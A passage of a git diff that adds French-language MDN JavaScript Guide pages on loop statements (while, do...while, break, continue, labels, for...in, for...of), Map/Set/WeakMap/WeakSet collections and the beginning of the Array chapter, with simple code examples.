+<p>L'instruction {{jsxref("statements/do...while", "do...while")}} permet de répéter un ensemble d'instructions jusqu'à ce qu'une condition donnée ne soit plus vérifiée. (<em>NdT</em> : littéralement « do...while » signifie « faire... tant que »). Une instruction <code>do...while</code> s'utilise de la façon suivante :</p>
+
+<pre class="syntaxbox notranslate">do
+  instruction
+while (condition);
+</pre>
+
+<p><code>instruction</code> est exécutée au moins une fois avant que la condition soit vérifiée. Pour utiliser plusieurs instructions à cet endroit, on utilisera une instruction de bloc (<code>{ ... }</code>) pour regrouper différentes instructions. Si la <code>condition</code> est vérifiée, l'instruction est à nouveau exécutée. À la fin de chaque exécution, la condition est vérifiée. Quand la condition n'est plus vérifiée (vaut <code>false</code> ou une valeur équivalente), l'exécution de l'instruction<code> do...while</code> est stoppée et le contrôle passe à l'instruction suivante.</p>
+
+<h3 id="Exemple_2">Exemple</h3>
+
+<p>Dans l'exemple qui suit, la boucle <code>do</code> est exécutée au moins une fois et répétée jusqu'à ce que <code>i</code> ne soit plus inférieur à 5.</p>
+
+<pre class="brush: js bad-exemple notranslate">let i = 0;
+do {
+  i += 1;
+  console.log(i);
+} while (i &lt; 5);</pre>
+
+<h2 id="Linstruction_while">L'instruction <code>while</code></h2>
+
+<p>Une instruction {{jsxref("statements/while", "while")}} permet d'exécuter une instruction tant qu'une condition donnée est vérifiée. Cette instruction <code>while</code> s'utilise de la façon suivante :</p>
+
+<pre class="syntaxbox notranslate">while (condition)
+  instruction
+</pre>
+
+<p>Si la condition n'est pas vérifiée, l'instruction<code> instruction</code> n'est pas exécutée et le contrôle passe directement à l'instruction suivant la boucle.</p>
+
+<p>Le test de la condition s'effectue avant d'exécuter <code>instruction</code>. Si la condition renvoie <code>true</code> (ou une valeur équivalente), <code>instruction</code> sera exécutée et la condition sera testée à nouveau. Si la condition renvoie <code>false</code> (ou une valeur équivalente), l'exécution s'arrête et le contrôle est passé à l'instruction qui suit <code>while</code>.</p>
+
+<p>Pour pouvoir utiliser plusieurs instructions dans la boucle, on utilisera une instruction de bloc (<code>{ ... }</code>) afin de les regrouper.</p>
+
+<h3 id="Exemple_1">Exemple 1</h3>
+
+<p>La boucle <code>while</code> qui suit permet d'effectuer des itérations tant que <code>n</code> est inférieur à 3 :</p>
+
+<pre class="brush: js notranslate">let n = 0;
+let x = 0;
+while (n &lt; 3) {
+  n++;
+  x += n;
+}
+</pre>
+
+<p>À chaque itération, la boucle incrémente <code>n</code> et ajoute la valeur de <code>n</code> à <code>x</code>. <code>x</code> et <code>n</code> prendront ainsi les valeurs suivantes :</p>
+
+<ul>
+ <li>Après la première itération : <code>n</code> = 1 et <code>x</code> = 1</li>
+ <li>Après la deuxième itération : <code>n</code> = 2 et <code>x</code> = 3</li>
+ <li>Après la troisième itération : <code>n</code> = 3 et <code>x</code> = 6</li>
+</ul>
+
+<p>Une fois la troisième itération effectuée, la condition <code>n &lt; 3</code> n'est plus vérifiée, par conséquent, la boucle se termine.</p>
+
+<h3 id="Exemple_2_2">Exemple 2</h3>
+
+<p>Attention à éviter les boucles infinies. Il faut bien s'assurer que la condition utilisée dans la boucle ne soit plus vérifiée à un moment donné. Si la condition est toujours vérifiée, la boucle se répétera sans jamais s'arrêter. Dans l'exemple qui suit, les instructions contenues dans la boucle <code>while</code> s'exécutent sans discontinuer car la condition est toujours vérifiée :</p>
+
+<pre class="brush: js notranslate">while (true) {
+  console.log("Coucou monde !");
+}</pre>
+
+<h2 id="Linstruction_label">L'instruction <code>label</code></h2>
+
+<p>Un {{jsxref("statements/label","label")}} (ou étiquette) permet de fournir un identifiant pour une instruction afin d'y faire référence depuis un autre endroit dans le programme. On peut ainsi identifier une boucle grâce à un label puis utiliser les instructions <code>break</code> ou <code>continue</code> pour indiquer si le programme doit interrompre ou poursuivre l'exécution de cette boucle.</p>
+
+<p>On utilise un label de la façon suivante :</p>
+
+<pre class="syntaxbox notranslate">label:
+  instruction
+</pre>
+
+<p>La valeur de <code><em>label</em></code> peut être n'importe quel identifiant JavaScript valide (et ne doit pas être un mot réservé pour le langage). L'<code><em>instruction</em></code> peut être n'importe quelle instruction JavaScript valide (y compris un bloc).</p>
+
+<h3 id="Exemple_3">Exemple</h3>
+
+<p>Dans cet exemple, on utilise un label <code>memoBoucle</code> pour identifier une boucle <code>while</code>.</p>
+
+<pre class="brush: js notranslate">memoBoucle:
+while (memo == true) {
+  faireQQC();
+}</pre>
+
+<div class="note">
+<p><strong>Note : </strong>Pour plus de détails sur cette instruction, voir la page de la référence JavaScript pour <a href="/fr/docs/Web/JavaScript/Reference/Instructions/label"><code>label</code></a>.</p>
+</div>
+
+<h2 id="Linstruction_break">L'instruction <code>break</code></h2>
+
+<p>L'instruction {{jsxref("statements/break","break")}} est utilisée pour finir l'exécution d'une boucle, d'une instruction <code>switch</code>, ou avec un label.</p>
+
+<ul>
+ <li>Lorsque <code>break</code> est utilisé sans label, il provoque la fin de l'instruction <code>while</code>, <code>do-while</code>, <code>for</code>, ou <code>switch</code> dans laquelle il est inscrit (on finit l'instruction la plus imbriquée), le contrôle est ensuite passé à l'instruction suivante.</li>
+ <li>Lorsque <code>break</code> est utilisé avec un label, il provoque la fin de l'instruction correspondante.</li>
+</ul>
+
+<p>La syntaxe de cette instruction possède donc deux formes :</p>
+
+<ol>
+ <li><code>break;</code></li>
+ <li><code>break <em>label</em>;</code></li>
+</ol>
+
+<p>La première forme permet d'interrompre la boucle la plus imbriquée (ou le <code>switch</code>) dans laquelle on se trouve. La seconde forme interrompt l'exécution d'une instruction identifiée par un label.</p>
+
+<h3 id="Exemple_1_2">Exemple <strong>1</strong></h3>
+
+<p>Dans l'exemple qui suit, on itère sur un tableau grâce à une boucle jusqu'à trouver un élément dont la valeur est <code>valeurTest </code>:</p>
+
+<pre class="brush: js notranslate">for (i = 0; i &lt; a.length; i++) {
+  if (a[i] === valeurTest) {
+    break;
+  }
+}</pre>
+
+<h3 id="Exemple_2_3">Exemple 2</h3>
+
+<p>Ici, on utilise <code>break</code> des deux façons : avec une instruction représentée par un label et sans.</p>
+
+<pre class="brush: js notranslate">let x = 0;
+let z = 0;
+labelAnnuleBoucle: while (true) {
+  console.log("Boucle externe : " + x);
+  x += 1;
+  z = 1;
+  while (true) {
+    console.log("Boucle interne : " + z);
+    z += 1;
+    if (z === 10 &amp;&amp; x === 10) {
+      break labelAnnuleBoucle;
+    } else if (z === 10) {
+      break;
+    }
+  }
+}
+</pre>
+
+<h2 id="Linstruction_continue">L'instruction <code>continue</code></h2>
+
+<p>L'instruction {{jsxref("statements/continue","continue")}} permet de reprendre une boucle <code>while</code>, <code>do-while</code>, <code>for</code>, ou une instruction <code>label</code>.</p>
+
+<ul>
+ <li>Lorsque <code>continue</code> est utilisé sans label, l'itération courante de la boucle (celle la plus imbriquée) est terminée et la boucle passe à l'exécution de la prochaine itération. À la différence de l'instruction <code>break</code>, <code>continue</code> ne stoppe pas entièrement l'exécution de la boucle. Si elle est utilisée dans une boucle <code>while</code>, l'itération reprend au niveau de la condition d'arrêt. Dans une boucle <code>for</code>, l'itération reprend au niveau de l'expression d'incrément pour la boucle.</li>
+ <li>Lorsque <code>continue</code> est utilisé avec un label, il est appliqué à l'instruction de boucle correspondante.</li>
+</ul>
+
+<p>L'instruction <code>continue</code> s'utilise donc de la façon suivante :</p>
+
+<ol>
+ <li><code>continue;</code></li>
+ <li><code>continue </code><em><code>label;</code></em></li>
+</ol>
+
+<h3 id="Exemple_1_3">Exemple 1</h3>
+
+<p>Dans l'exemple qui suit, on utilise une boucle <code>while</code> avec une instruction <code>continue</code> qui est exécutée lorsque <code>i</code> vaut 3. Ici, <code>n</code> prendra donc les valeurs 1, 3, 7 et 12.</p>
+
+<pre class="brush: js notranslate">let i = 0;
+let n = 0;
+while (i &lt; 5) {
+  i++;
+  if (i === 3) {
+    continue;
+  }
+  n += i;
+  console.log(n);
+}
+// 1, 3, 7, 12
+
+</pre>
+
+<h3 id="Exemple_2_4">Exemple 2</h3>
+
+<p>Dans l'exemple suivant, on a une instruction étiquetée <code>vérifIetJ</code> qui contient une autre instruction étiquetée <code>vérifJ</code>. Si l'instruction <code>continue</code> est utilisée, le programme reprend l'exécution au début de l'instruction <code>vérifJ</code>. Chaque fois que <code>continue</code> est utilisé, <code>vérifJ</code> réitère jusqu'à ce que sa condition renvoie <code>false</code>. Lorsque c'est le cas, le reste de l'instruction <code>vérifIetJ</code> est exécuté.</p>
+
+<p>Si <code>continue</code> utilisait l'étiquette <code>vérifIetJ</code>, le programme continuerait au début de l'instruction <code>vérifIetJ</code></p>
+
+<pre class="brush: js notranslate">let i = 0;
+let j = 8;
+
+vérifIetJ: while (i &lt; 4) {
+  console.log("i : " + i);
+  i += 1;
+
+  vérifJ: while (j &gt; 4) {
+    console.log("j : "+ j);
+    j -= 1;
+    if ((j % 2) === 0){
+      continue vérifJ;
+    }
+    console.log(j + " est impaire.");
+   }
+   console.log("i = " + i);
+   console.log("j = " + j);
+}</pre>
+
+<h2 id="Linstruction_for...in">L'instruction <code>for...in</code></h2>
+
+<p>L'instruction {{jsxref("statements/for...in","for...in")}} permet d'itérer sur l'ensemble des propriétés énumérables d'un objet. Pour chaque propriété, JavaScript exécutera l'instruction indiquée. Cette instruction s'utilise de la façon suivante :</p>
+
+<pre class="syntaxbox notranslate">for (variable in objet) {
+  instruction
+}
+</pre>
+
+<h3 id="Exemple_4">Exemple</h3>
+
+<p>La fonction suivante prend comme argument un objet et le nom de cet objet. Elle parcourt ensuite les propriétés de l'objet et renvoie une chaîne de caractères qui liste les propriétés avec leurs noms et leurs valeurs respectives :</p>
+
+<pre class="brush: js notranslate">function afficherProps(obj, nomObj) {
+  var result = "";
+  for (var i in obj) {
+    result += nomObj + "." + i + " = " + obj[i] + "\n";
+  }
+  result += "\n";
+  return result;
+}
+</pre>
+
+<p>Pour un objet <code>voiture</code> dont les propriétés sont <code>fabricant</code> et <code>modèle</code>, <code>result</code> serait :</p>
+
+<pre class="brush: js notranslate">voiture.fabricant = Ford
+voiture.modèle = Mustang
+</pre>
+
+<h3 id="Les_tableaux_arrays_et_for...in">Les tableaux (arrays) et <code>for...in</code></h3>
+
+<p>Bien qu'il soit tentant d'utiliser cette instruction pour parcourir les éléments d'un objet <code><a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Array">Array</a></code> , cela peut avoir des comportements inattendus. En effet, <code>for...in</code> permet de parcourir les propriétés définies par l'utilisateur ainsi que les éléments de tableau. Ainsi, si l'on modifie un objet <code>Array</code> en lui ajoutant des propriétés et/ou des méthodes, la boucle <code>for...in</code> renverra le nom de ces nouvelles propriétés en plus des indices des éléments du tableau. C'est pourquoi, il est préférable d'utiliser une boucle <code><a href="/fr/docs/Web/JavaScript/Reference/Instructions/for">for</a></code> avec les indices du tableau pour parcourir ses éléments.</p>
+
+<h2 id="Linstruction_for...of">L'instruction <code>for...of</code></h2>
+
+<p>L'instruction {{jsxref("statements/for...of","for...of")}} crée une boucle qui fonctionne avec <a href="/fr/docs/Web/JavaScript/Reference/Les_protocoles_iteration">les objets itérables</a> (qui incluent {{jsxref("Array")}}, {{jsxref("Map")}}, {{jsxref("Set")}}, l'objet <code><a href="/fr/docs/Web/JavaScript/Reference/Fonctions/arguments">arguments</a></code>, etc.). La boucle appelle un mécanisme d'itération propre à l'objet utilisé et elle parcourt l'objet et les valeurs de ses différentes propriétés.</p>
+
+<pre class="syntaxbox notranslate">for (<em>variable</em> of <em>objet</em>) {
+  <em>instruction
+</em>}</pre>
+
+<p>Dans l'exemple suivant, on illustre la différence entre une boucle <code>for...of</code> et une boucle <code><a href="/fr/docs/Web/JavaScript/Reference/Instructions/for...in">for...in</a></code>.  <code>for...in</code> parcourt les noms des propriétés d'un objet alors que <code>for...of</code> parcourt les <strong>valeurs</strong> des propriétés :</p>
+
+<pre class="brush:js notranslate">let arr = [3, 5, 7];
+arr.toto = "coucou";
+
+for (let i in arr) {
+  console.log(i); // affiche 0, 1, 2, "toto" dans la console
+}
+
+for (let i of arr) {
+  console.log(i); // affiche 3, 5, 7 dans la console
+}
+</pre>
+
+<p>{{PreviousNext("Web/JavaScript/Guide/Contr%C3%B4le_du_flux_Gestion_des_erreurs", "Web/JavaScript/Guide/Fonctions")}}</p>
diff --git a/files/fr/web/javascript/guide/collections_avec_clés/index.html b/files/fr/web/javascript/guide/collections_avec_clés/index.html
new file mode 100644
index 0000000000..82a275c036
--- /dev/null
+++ b/files/fr/web/javascript/guide/collections_avec_clés/index.html
@@ -0,0 +1,152 @@
+---
+title: Collections avec clés
+slug: Web/JavaScript/Guide/Collections_avec_clés
+tags:
+  - Collections
+  - Guide
+  - JavaScript
+  - Map
+  - set
+translation_of: Web/JavaScript/Guide/Keyed_collections
+---
+<div>{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Collections_indexées", "Web/JavaScript/Guide/Utiliser_les_objets")}}</div>
+
+<p class="summary">Ce chapitre présente les collections de données qui sont ordonnées avec une clé. Les objets <code>Map</code> et <code>Set</code> contiennent des éléments sur lesquels on peut itérer dans leur ordre d'insertion.</p>
+
+<h2 id="Maps">Maps</h2>
+
+<h3 id="Le_type_Map">Le type <code>Map</code></h3>
+
+<p>ECMAScript 2015 introduit une nouvelle structure de données pour faire correspondre des données entre elle. Un objet {{jsxref("Map")}} représente une collection de données qui sont des correspondances entre des clés ou valeurs et pour lequel on peut itérer dans l'ordre d'insertion pour lister les différentes clés / valeurs.</p>
+
+<p>Le code suivant illustre certaines opérations basiques avec <code>Map</code>. Pour plus d'informations sur cet objet, voir également la page de référence {{jsxref("Map")}}. Il est possible d'utiliser une boucle {{jsxref("Instructions/for...of","for...of")}} pour renvoyer un tableau <code>[clé, valeur]</code> à chaque itération.</p>
+
+<pre class="brush: js">var sayings = new Map();
+sayings.set("dog", "woof");
+sayings.set("cat", "meow");
+sayings.set("elephant", "toot");
+sayings.size; // 3
+sayings.get("fox"); // undefined
+sayings.has("bird"); // false
+sayings.delete("dog");
+
+for (var [key, value] of sayings) {
+  console.log(key + " goes " + value);
+}
+// "cat goes meow"
+// "elephant goes toot"
+</pre>
+
+<h3 id="Comparaison_entre_les_types_Object_et_Map">Comparaison entre les types <code>Object</code> et <code>Map</code></h3>
+
+<p>Habituellement, les objets {{jsxref("Object", "objets", "", 1)}} ont été utilisés pour faire correspondre des chaînes avec des valeurs. Les objets permettent d'associer des clés avec des valeurs, de récupérer ces valeurs, de supprimer des clés, de détecter si quelque chose est enregistré dans une clé. Le type <code>Map</code> possède cependant certains avantages pour être utilisés comme <em>maps</em>.</p>
+
+<ul>
+ <li>Les clés d'un objet de type <code>Object</code> sont des chaînes de caractères. Pour <code>Map</code>, une clé peut être une valeur de n'importe quel type.</li>
+ <li>On peut simplement obtenir la taille d'un objet <code>Map</code> alors qu'il faut tenir compte manuellement du nombre de clés contenue dans un objet <code>Object</code>.</li>
+ <li>Les itérations sur les <em>maps</em> se font dans l'ordre d'insertion des éléments.</li>
+ <li>Un objet de type <code>Object</code> possède un prototype, il y a donc des clés par défaut déjà présentes dans l'objet. (cela peut être surchargé en utilisant <code>map = Object.create(null)</code>).</li>
+</ul>
+
+<p>Pour savoir si on doit utiliser le type <code>Map</code> ou le type <code>Object</code>, on peut considérer les aspects suivants :</p>
+
+<ul>
+ <li>On utilisera des <em>maps</em> plutôt que des objets lorsque les clés sont inconnues avant l'exécution et lorsque toutes les clés sont de même type et que les valeurs sont de même type.</li>
+ <li>On utilisera des <em>maps</em> lorsque les clés peuvent être des valeurs primitives autres que des chaînes de caractères (en effet, les objets considèrent toutes leurs clés comme des chaînes en convertissant les valeurs).</li>
+ <li>On utilisera des objets lorsqu'il y a une logique propre à des éléments individuels.</li>
+</ul>
+
+<h3 id="Le_type_WeakMap">Le type <code>WeakMap</code></h3>
+
+<p>L'objet {{jsxref("WeakMap")}} est une collection de paires clés/valeurs pour lesquelles <strong>les clés sont uniquement des objets</strong> (les valeurs peuvent être d'un type arbitraire). Les références vers les objets sont des références « faibles ». Cela signifie qu'elles seront collectées par le ramasse-miettes s'il n'y a pas d'autres références vers cet objet. L'API <code>WeakMap</code> offre les mêmes fonctionnalités que l'API <code>Map</code>.</p>
+
+<p>La différence entre le type <code>Map</code> et le type <code>WeakMap</code> est que les clés d'un objet <code>WeakMap</code> ne sont pas énumérables (c'est-à-dire qu'on n'a pas de méthode pour donner la liste des clés). S'il en existait une, la liste dépendrait de l'état d'avancement du ramasse-miettes, ce qui introduirait un non-déterminisme.</p>
+
+<p>Pour plus d'informations et d'exemples, voir également le paragraphe « Pourquoi WeakMap ? » sur l'article {{jsxref("WeakMap")}} de la référence.</p>
+
+<p>Un cas d'utilisation des objets <code>WeakMap</code> est le stockage de données privées d'un objet ou pour cacher certains détails d'implémentation. L'exemple qui suit est tiré du billet de blog de Nick Fitzgerald <a href="http://fitzgeraldnick.com/weblog/53/">« Masquer des détails d'implémentation avec les WeakMaps ECMAScript 6 »</a>. Les données et méthodes privées sont stockées dans l'objet WeakMap <code>privates</code>. Tout ce qui est exposé par l'instance et le prototype est public. Tout ce qui est en dehors est inaccessible car <code>privates</code> n'est pas exporté depuis le module :</p>
+
+<pre class="brush: js">const privates = new WeakMap();
+
+function Public() {
+  const me = {
+    // Les données privées ici
+  };
+  privates.set(this, me);
+}
+
+Public.prototype.method = function () {
+  const me = privates.get(this);
+  // On fait des choses avec les données privées dans `me`...
+};
+
+module.exports = Public;
+</pre>
+
+<h2 id="Les_ensembles">Les ensembles</h2>
+
+<h3 id="Le_type_Set">Le type <code>Set</code></h3>
+
+<p>Les objets {{jsxref("Set")}} sont des ensembles de valeurs. Il est possible de les parcourir dans l'ordre d'insertion des éléments. Une valeur d'un élément <code>Set</code> ne peut y apparaître qu'une seule fois, il est unique pour cette instance de <code>Set</code>.</p>
+
+<p>Le code suivant illustre certaines opérations basiques avec <code>Set</code>. Voir aussi la page {{jsxref("Set")}} pour plus d'exemples et l'API complète.</p>
+
+<pre class="brush: js">var monEnsemble = new Set();
+monEnsemble.add(1);
+monEnsemble.add("du texte");
+monEnsemble.add("toto");
+
+monEnsemble.has(1); // true
+monEnsemble.delete("toto");
+monEnsemble.size; // 2
+
+for (let item of monEnsemble) console.log(item);
+// 1
+// "du texte"
+</pre>
+
+<h3 id="Convertir_des_tableaux_(Array)_en_ensembles_(Set)">Convertir des tableaux (<code>Array</code>) en ensembles (<code>Set</code>)</h3>
+
+<p>Il est possible de créer un {{jsxref("Array")}} à partir d'un <code>Set</code> grâce à {{jsxref("Array.from")}} ou l'<a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Opérateur_de_décomposition">opérateur de décomposition</a>. Pour effectuer la conversion dans l'autre sens, on peut utiliser le constructeur <code>Set</code> avec un argument de type <code>Array</code>. Encore une fois, les objets <code>Set</code> stockent des valeurs uniques, les éléments dupliqués dans un tableau seront supprimés lors de la conversion.</p>
+
+<pre class="brush: js">Array.from(monSet);
+[...monSet2];
+
+monSet2 = new Set([1,2,3,4]);
+</pre>
+
+<h3 id="Comparaison_entre_Array_et_Set">Comparaison entre <code>Array</code> et <code>Set</code></h3>
+
+<p>Historiquement, on représentait des ensembles avec des tableaux JavaScript. Ce nouveau type, <code>Set</code>, possède certains avantages :</p>
+
+<ul>
+ <li>Lorsqu'on souhaite vérifier si un élément existe déjà dans un tableau, on est obligé d'utiliser {{jsxref("Array.indexOf", "indexOf")}} ce qui peut diminuer les performances.</li>
+ <li>Les objets <code>Set</code> permettent de supprimer les éléments avec leur valeur. Avec un tableau, il faudrait « découper » le tableau sur l'indice de l'élément.</li>
+ <li>Dans un tableau, la valeur {{jsxref("NaN")}} ne peut pas être trouvée avec la méthode <code>indexOf</code>.</li>
+ <li>Les objets <code>Set</code> permettent de stocker des valeurs uniques, il n'est pas nécessaire d'effectuer des vérifications manuellement.</li>
+</ul>
+
+<h3 id="Le_type_WeakSet">Le type <code>WeakSet</code></h3>
+
+<p>Les objets {{jsxref("WeakSet")}} sont des ensembles d'objets. Un objet d'un <code>WeakSet</code> ne peut y apparaître qu'une seule fois maximum. On ne peut pas itérer sur les objets <code>WeakSet</code> (ils ne sont pas énumérables).</p>
+
+<p>Les principales différences avec l'objet {{jsxref("Set")}} sont :</p>
+
+<ul>
+ <li>Contrairement aux objets <code>Set</code>, les objets <code>WeakSet</code> sont des ensembles qui ne comprennent <strong>que des objets</strong>, les valeurs ne peuvent pas être d'un type arbitraire.</li>
+ <li>Les objets <code>WeakSet</code> utilisent des références faibles vers les objets. Ainsi, s'il n'y a pas d'autres références vers l'objet stocké dans le <code>WeakSet</code>, celui-ci pourra être collecté par le ramasse-miettes pour libérer de la mémoire. Cela signifie également qu'on ne peut pas maintenir une liste des différents objets contenus dans l'ensemble : les objets <code>WeakSet</code> ne sont pas énumérables.</li>
+</ul>
+
+<p>Les cas d'utilisations pour les objets <code>WeakSet</code> objects sont relativement limités. Ils empêcheront toute fuite mémoire donc on pourra, de façon sécurisée, les utiliser avec des éléments DOM qui pourront être des clés (pour les utiliser par ailleurs, etc.).</p>
+
+<h2 id="Égalité_des_clés_et_des_valeurs_avec_Map_et_Set">Égalité des clés et des valeurs avec <code>Map</code> et <code>Set</code></h2>
+
+<p>L'égalité utilisée pour les clés des objets <code>Map</code> et celle utilisée pour les valeurs des objets <code>Set</code> sont les mêmes : elles sont basées sur <a href="https://tc39.github.io/ecma262/#sec-samevaluezero">l'algorithme suivant</a> :</p>
+
+<ul>
+ <li>L'égalité fonctionne de la même façon qu'avec l'opérateur d'égalité stricte <code>===</code>.</li>
+ <li><code>-0</code> et <code>+0</code> sont considérés égaux.</li>
+ <li>{{jsxref("NaN")}} est considéré égal à lui-même (contrairement à ce qu'on obtient avec <code>===</code>).</li>
+</ul>
+
+<p>{{PreviousNext("Web/JavaScript/Guide/Collections_indexées", "Web/JavaScript/Guide/Utiliser_les_objets")}}</p>
diff --git a/files/fr/web/javascript/guide/collections_indexées/index.html b/files/fr/web/javascript/guide/collections_indexées/index.html
new file mode 100644
index 0000000000..7efda85419
--- /dev/null
+++ b/files/fr/web/javascript/guide/collections_indexées/index.html
@@ -0,0 +1,425 @@
+---
+title: Collections indexées
+slug: Web/JavaScript/Guide/Collections_indexées
+tags:
+  - Array
+  - Guide
+  - JavaScript
+translation_of: Web/JavaScript/Guide/Indexed_collections
+---
+<div>{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Expressions_régulières", "Web/JavaScript/Guide/Collections_avec_clés")}}</div>
+
+<p>Ce chapitre présente les collections de données qui sont ordonnées par un indice. Cela inclue les tableaux et les objets semblables à des tableaux que sont les objets {{jsxref("Array")}} et les objets {{jsxref("TypedArray")}}.</p>
+
+<h2 id="Le_type_Array">Le type <code>Array</code></h2>
+
+<p>Un <em>tableau</em> (<em>array</em> en anglais) est un ensemble ordonné de valeurs auxquelles on peut faire référence avec un nom et un indice. Par exemple, si on a un tableau <code>emp</code> qui contient les noms d'employés indexés par leurs numéros d'employé, on pourrait utiliser <code>emp[1]</code> pour accéder à l'employé n°1, <code>emp[2]</code> pour accéder au deuxième et ainsi de suite.</p>
+
+<p>JavaScript ne possède pas de type particulier pour représenter un tableau de données. En revanche, il est possible d'utiliser l'objet natif <code>Array</code> ainsi que ses méthodes pour manipuler des tableaux. L'objet <code>Array</code> possède plusieurs méthodes qui permettent de manipuler les tableaux pour les fusionner, les inverser, les trier, etc. Il possède une propriété de longueur ainsi que d'autres propriétés qui peuvent être utilisées avec les expressions rationnelles.</p>
+
+<h3 id="Créer_un_tableau">Créer un tableau</h3>
+
+<p>Les instructions qui suivent sont équivalentes et permettent de créer le même tableau :</p>
+
+<pre class="brush: js notranslate">var arr = new Array(élément0, élément1, ..., élémentN);
+var arr = Array(élément0, élément1, ..., élémentN);
+var arr = [élément0, élément1, ..., élémentN];
+</pre>
+
+<p><code>élément0, élément1, ..., élémentN</code> est une liste de valeurs qui formeront les éléments du tableau. Lorsque ces valeurs sont définies, le tableau initialisera la valeur des éléments correspondants. La propriété <code>length</code> du tableau permet de connaître le nombre d'arguments du tableau.</p>
+
+<p>Parmi les instructions précédentes, une utilise des crochets, on appelle ceci un « littéral de tableau » ou un « initialisateur de tableau ». Cette notation est plus courte que les autres et est souvent préférée pour sa lisibilité. Pour plus d'informations sur cette notation, voir la page sur <a href="/fr/docs/Web/JavaScript/Guide/Types_et_grammaire">les littéraux de tableaux</a> pour plus détails.</p>
+
+<p>Afin de créer un tableau de longueur non nulle mais sans aucun élément initialisé, on peut utiliser l'une des deux instructions suivantes :</p>
+
+<pre class="brush: js notranslate">var arr = new Array(longueurTableau);
+var arr = Array(longueurTableau);
+
+// Cela aura le même effet que :
+var arr = [];
+arr.length = longueurTableau;
+</pre>
+
+<div class="note">
+<p><strong>Note :</strong> Dans le code ci-dessus <code>longueurTableau</code> doit être un nombre. Si ce n'est pas le cas, un tableau d'un seul élément (ayant la valeur fournie) sera créé. <code>arr.length</code> renverra <code>longueurTableau</code>, mais le tableau ne contiendra que des éléments « vides » non définis. Si on utilise une boucle {{jsxref("Instructions/for...in")}} sur ce tableau, on ne trouvera aucun élément.</p>
+</div>
+
+<p>On a vu comment créer un tableau, il est aussi possible d'affecter des tableaux à des propriétés d'objets (que ce soit lors de leur création ou pour les modifier) :</p>
+
+<pre class="brush: js notranslate">var obj = {};
+// ...
+obj.prop = [élément0, élément1, ..., élémentN];
+
+// OU
+var obj = {prop: [élément0, élément1, ...., élémentN]}
+</pre>
+
+<p>Si on souhaite initialiser un tableau avec un seul élément et que cet élément est un nombre, il est nécessaire d'utiliser la notation littérale. En effet, si un nombre est passé à la fonction <code>Array()</code> pour construire le tableau, celui-ci sera interprété comme une longueur et non comme la valeur d'un élément.</p>
+
+<pre class="brush: js notranslate">var arr1 = [42];      // Le tableau créé contient bien un élément qui vaut 42
+var arr2 = Array(42); // Crée un tableau sans élément
+                      // mais dont arr.length vaut 42
+
+// Le code ci-dessus est équivalent à
+var arr = [];
+arr.length = 42 ;
+</pre>
+
+<p>Si N est un nombre décimal dont la partie fractionnaire n'est pas nulle, tout appel à <code>Array(N)</code> renverra une exception <code>RangeError</code>. Par exemple :</p>
+
+<pre class="brush: js notranslate">var arr = Array(9.3);  // RangeError: Invalid array length
+</pre>
+
+<p>Si on souhaite créer un tableau d'un seul élément et ce quel que soit le type de données, il sera préférable d'utiliser les littéraux de tableaux. Sinon, on peut créer un tableau vide puis lui ajouter un seul élément.</p>
+
+<p>Avec ES2015 (anciennement ECMAScript 6), on peut utiliser la méthode {{jsxref("Array.of")}} afin de créer un tableau composé d'un seul élément :</p>
+
+<pre class="brush: js notranslate">let monTableau = Array.of("Joconde"); // monTableau contient uniquement "Joconde"</pre>
+
+<h3 id="Remplir_un_tableau">Remplir un tableau</h3>
+
+<p>Il est possible de remplir un tableau en affectant des valeurs à ses éléments. Par exemple :</p>
+
+<pre class="brush: js notranslate">var emp = [];
+emp[0] = "Casey Jones";
+emp[1] = "Phil Lesh";
+emp[2] = "August West";
+</pre>
+
+<div class="note">
+<p><strong>Note :</strong> Si on utilise une valeur non entière pour désigner un élément du tableau, cela créera une propriété sur l'objet plutôt qu'un élément du tableau :</p>
+
+<pre class="brush: js notranslate">var arr = [];
+arr[3.4] = "Oranges";
+console.log(arr.length);                // 0
+console.log(arr.hasOwnProperty(3.4));   // true
+</pre>
+</div>
+
+<p>Il est aussi possible de remplir un tableau directement lors de sa création :</p>
+
+<pre class="brush: js notranslate">var monTableau = new Array("Coucou", maVar, 3.14159);
+var monTableau = ["Mangue", "Pomme", "Orange"]
+</pre>
+
+<h3 id="Faire_référence_aux_éléments_dun_tableau">Faire référence aux éléments d'un tableau</h3>
+
+<p>Il est possible de faire référence aux éléments d'un tableau en utilisant un nombre ordinal lié à l'élément. Ainsi, si on définit le tableau suivant :</p>
+
+<pre class="brush: js notranslate">var monTableau = ["Air", "Eau", "Feu"];
+</pre>
+
+<p>On pourra accéder au premier élément du tableau en utilisant <code>monTableau[0]</code>, on accèdera au deuxième élément avec <code>monTableau[1]</code>. Les indices des éléments sont comptés à partir de 0.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Les crochets peuvent également être utilisés pour faire référence aux propriétés du tableau (les tableaux sont des objets JavaScript à part entière). On pourra donc avoir :</p>
+
+<pre class="brush: js notranslate">var arr = ["un", "deux", "trois"];
+arr[2];         // "trois" - on accède à un élément du tableau
+arr["length"];  // 3 - on accède à une propriété du tableau
+</pre>
+</div>
+
+<h3 id="Comprendre_la_propriété_length">Comprendre la propriété <code>length</code></h3>
+
+<p>En termes d'implémentation, les tableaux JavaScript stockent leurs éléments comme des propriétés normales, l'indice étant utilisé comme nom pour désigner la valeur de la propriété. La propriété <code>length</code> est elle un peu spéciale : elle renvoie toujours la valeur du plus grand indice du tableau plus 1. Dans l'exemple suivant, "Biduche" est placé à l'indice 30, <code>chats.length</code> renvoie donc 30 + 1). On rappelle que les indices des tableaux JavaScript commencent à partir de 0 et pas à partir de 1. Cela signifie que la valeur de la propriété <code><code>length</code></code> sera plus grande, de 1, par rapport à l'indice le plus élevé :</p>
+
+<pre class="brush: js notranslate">var chats = [];
+chats[30] = ['Biduche'];
+console.log(chats.length); // 31
+</pre>
+
+<p>Il est aussi possible d'affecter une valeur à la propriété <code>length</code>. Si la valeur fournie est inférieure au nombre d'éléments stockés, cela tronquera la tableau. Si la valeur est 0, cela videra le tableau :</p>
+
+<pre class="brush: js notranslate">var chats = ['Marie', 'Toulouse', 'Berlioz'];
+console.log(chats.length); // 3
+
+chats.length = 2;
+console.log(chats); // affiche "Marie,Toulouse" - Berlioz a été retiré
+
+chats.length = 0;
+console.log(chats); // affiche [], le tableau est vide
+
+chats.length = 3;
